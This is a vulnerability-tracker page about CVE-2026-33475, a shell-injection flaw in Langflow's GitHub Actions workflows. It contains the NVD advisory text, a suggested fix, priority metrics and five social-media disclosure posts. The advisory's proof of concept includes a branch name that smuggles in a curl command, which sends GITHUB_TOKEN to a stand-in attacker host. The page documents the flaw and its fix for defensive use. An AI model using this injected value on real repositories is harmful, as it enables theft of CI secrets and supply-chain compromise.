CVE-2026-33475Disclosure(langflow / langflow)

LOWCVSS 9.1 · CRITICAL

Signal is active with 2 mentions in latest observed window

Immediate actions

  • Patch langflow langflow systems immediately

Recommended action window: Monitor and triage in normal cycle

NVD description

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`

0.5/ 10 priority

Sources & remediation

Weakness type (CWE)
CWE-74CWE-78

Priority

LOW

Exploitation

NONE

PoC

YES

Patch

AVAILABLE

Momentum

STABLE

Are you affected?

If you run products in this scope, you should treat this CVE as relevant to your environment.

  • langflow

Threat summary

  • Patch or workaround signal is available
  • 5 mentions across 2 observed days
  • Momentum state: stable

What's happening

  • Patch or workaround mentioned in 1 signal
  • Technical details provided in 5 signals
  • Disclosure: 4 classified signals
  • Peaked 1d ago at 3 mentions (2026-03-24); latest day: 2
  • 5 total mentions across 2 days

Affected systems

Vendors
Products
langflow

Deep dive

Activity timeline5 mentions / 2d
01223Mentions · 2026-03-24: 3Mentions · 2026-03-25: 2Patch / Workaround · 2026-03-24: 1Technical Details · 2026-03-24: 3Technical Details · 2026-03-25: 203-2403-25
Signal classification2 categories
Disclosure
480.0%
Patch
120.0%
Referenced assets4 URLs
Classification over time
DateTotalLabels
2026-03-243
Disclosure2Patch1
2026-03-252
Disclosure2
Full discourse5 posts
  • CCB Alert@CCBalert
    Disclosure

    Warning: #CVE-2026-33475, a critical vulnerability affecting #Langflow (< v1.9.0), allows unauthenticated remote shell injection in GitHub Actions workflows in the Langflow repository . #Patch #Patch #Patch

    Post summary

    The text issues a warning about CVE-2026-33475, a critical vulnerability in Langflow versions below 1.9.0 that permits unauthenticated remote shell injection via GitHub Actions workflows.

    01001166
    7.2K followersView on X
  • 0day Signal@0dayPublishing
    Disclosure

    🚨 CVE-2026-33475: Langflow GitHub Actions Shell In... GitHub Actions shell injection via malicious branch names turns every fork into a potential supply chain bomb—GITHUB_TO... https://zerodaysignal.com/vulnerability/CVE-2026-33475 #netsec #vulnerability #CVE #sysadmin #zeroday

    Post summary

    The tweet announces CVE‑2026‑33475, describing a shell injection vulnerability through malicious branch names in Langflow’s GitHub Actions, highlighting its potential supply‑chain risk.

    0001076
    164 followersView on X
  • The Hacker Wire@TheHackerWire
    Disclosure

    🔴 CVE-2026-33475 - Critical Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the L... https://www.thehackerwire.com/vulnerability/CVE-2026-33475/ https://t.co/XDwjbzrwTp

    Post summary

    A critical unauthenticated remote shell injection vulnerability (CVE-2026-33475) was disclosed in Langflow's GitHub Actions workflows, with no PoC, exploit, or patch details provided in the brief.

    0000056
    145 followersView on X
  • CVE@CVEnew
    Disclosure

    CVE-2026-33475 Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actio… https://www.cve.org/CVERecord?id=CVE-2026-33475

    Post summary

    The post announces CVE-2026-33475, describing it as an unauthenticated remote shell injection in Langflow. No PoC, exploit, or mitigation details are provided.

    0000095
    56.8K followersView on X
  • CVEFind.com@CveFindCom
    Patch

    [CVE-2026-33475: CRITICAL] Unpatched Langflow versions are vulnerable to remote shell injection via GitHub Actions workflows. Attackers may execute arbitrary commands. Update to version 1.9.0 to fix this issue.#cve,CVE-2026-33475,#cybersecurity https://cvefind.com/CVE-2026-33475

    Post summary

    Langflow versions before 1.9.0 are vulnerable to remote shell injection via GitHub Actions workflows; updating to 1.9.0 resolves the issue.

    0000031
    606 followersView on X
CPE platform detail1 entries

1 of 1 entries

PartVendorProductVersionTarget SWTarget HW
Applangflowlangflow---

Explore more